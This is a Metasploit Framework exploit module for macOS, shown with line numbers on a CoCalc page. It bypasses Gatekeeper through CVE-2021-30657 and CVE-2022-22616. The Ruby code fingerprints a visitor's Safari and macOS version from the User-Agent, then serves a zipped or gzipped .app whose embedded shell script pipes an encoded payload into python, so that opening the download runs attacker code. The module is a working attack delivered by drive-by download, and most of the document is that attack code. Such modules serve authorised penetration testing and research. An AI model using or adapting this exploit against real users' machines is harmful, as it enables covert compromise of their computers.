CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/osx_gatekeeper_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::Remote::HttpServer
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'macOS Gatekeeper check bypass',
17
'Description' => %q{
18
This module exploits two CVEs that bypass Gatekeeper.
19
20
For CVE-2021-30657, this module serves an OSX app (as a zip) that contains no
21
Info.plist, which bypasses gatekeeper in macOS < 11.3.
22
If the user visits the site on Safari, the zip file is automatically extracted,
23
and clicking on the downloaded file will automatically launch the payload.
24
If the user visits the site in another browser, the user must click once to unzip
25
the app, and click again in order to execute the payload.
26
27
For CVE-2022-22616, this module serves a gzip-compressed zip file with its file header pointing
28
to the `Contents` directory which contains an OSX app. If the user downloads the file via Safari,
29
Safari will automatically decompress the file, removing its `com.apple.quarantine` attribute.
30
Because of this, the file will not require quarantining, bypassing Gatekeeper on
31
MacOS versions below 12.3.
32
},
33
'License' => MSF_LICENSE,
34
'Targets' => [
35
[ 'macOS x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
36
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
37
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ]
38
],
39
'DefaultTarget' => 0,
40
'DisclosureDate' => '2021-03-25',
41
'Author' => [
42
'Cedric Owens', # CVE-2021-30657 Discovery
43
'timwr', # Module
44
'Ferdous Saljooki', # CVE-2022-22616 Discovery (@malwarezoo)
45
'Jaron Bradley', # CVE-2022-22616 Discovery (@jbradley89)
46
'Mickey Jin', # CVE-2022-22616 Discovery (@patch1t)
47
'Shelby Pace' # CVE-2022-22616 Additions
48
],
49
'Notes' => {
50
'Stability' => [ CRASH_SAFE ],
51
'Reliability' => [ REPEATABLE_SESSION ],
52
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
53
},
54
'References' => [
55
['CVE', '2021-30657'],
56
['CVE', '2022-22616'],
57
['URL', 'https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508'],
58
['URL', 'https://objective-see.com/blog/blog_0x64.html'],
59
['URL', 'https://jhftss.github.io/CVE-2022-22616-Gatekeeper-Bypass/'],
60
['URL', 'https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/']
61
]
62
)
63
)
64
register_options([
65
OptString.new('APP_NAME', [false, 'The application name (Default: app)', 'app']),
66
OptEnum.new('CVE', [true, 'The vulnerability to exploit', 'CVE-2022-22616', ['CVE-2021-30657', 'CVE-2022-22616']])
67
])
68
end
69
70
def cve
71
datastore['CVE']
72
end
73
74
def check_useragent(user_agent)
75
safari_version = nil
76
if user_agent =~ %r{Version/(\d+\.\d+(\.\d+)*)\sSafari}
77
safari_version = Regexp.last_match(1)
78
end
79
80
if safari_version && Rex::Version.new(safari_version) < Rex::Version.new('15.4') && cve == 'CVE-2022-22616'
81
print_good("Safari version #{safari_version} is vulnerable")
82
return true
83
end
84
85
return false unless user_agent =~ /Intel Mac OS X (.*?)\)/
86
87
osx_version = Regexp.last_match(1).gsub('_', '.')
88
mac_osx_version = Rex::Version.new(osx_version)
89
if mac_osx_version >= Rex::Version.new('12.3')
90
print_warning "macOS version #{mac_osx_version} is not vulnerable"
91
elsif mac_osx_version < Rex::Version.new('10.15.6')
92
print_warning "macOS version #{mac_osx_version} is not vulnerable"
93
else
94
print_good "macOS version #{mac_osx_version} is vulnerable"
95
return true
96
end
97
98
false
99
end
100
101
def on_request_uri(cli, request)
102
user_agent = request['User-Agent']
103
print_status("Request #{request.uri} from #{user_agent}")
104
unless check_useragent(user_agent)
105
print_error 'Unexpected User-Agent'
106
send_not_found(cli)
107
return
108
end
109
110
app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)
111
112
app_file_name = "#{app_name}.zip"
113
zipped = app_zip(app_name)
114
115
if cve == 'CVE-2022-22616'
116
zipped = Rex::Text.gzip(zipped)
117
app_file_name = "#{app_file_name}.gz"
118
end
119
120
send_response(cli, zipped, { 'Content-Type' => 'application/zip', 'Content-Disposition' => "attachment; filename=\"#{app_file_name}\"" })
121
end
122
123
def app_zip(app_name)
124
case target['Arch']
125
when ARCH_X64
126
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})
127
command = "echo \"#{payload_data}\" | python & disown"
128
when ARCH_PYTHON
129
command = "echo \"#{payload.encoded}\" | python"
130
when ARCH_CMD
131
command = payload.encoded
132
end
133
134
shell_script = <<~SCRIPT
135
#!/bin/sh
136
137
#{command}
138
SCRIPT
139
140
zip = Rex::Zip::Archive.new
141
zip.add_file("#{app_name}.app/", '') if cve != 'CVE-2022-22616'
142
zip.add_file("#{app_name}.app/Contents/", '')
143
zip.add_file("#{app_name}.app/Contents/MacOS/", '')
144
zip.add_file("#{app_name}.app/Contents/MacOS/#{app_name}", shell_script).last.attrs = 0o777
145
zip.pack
146
end
147
end
148
149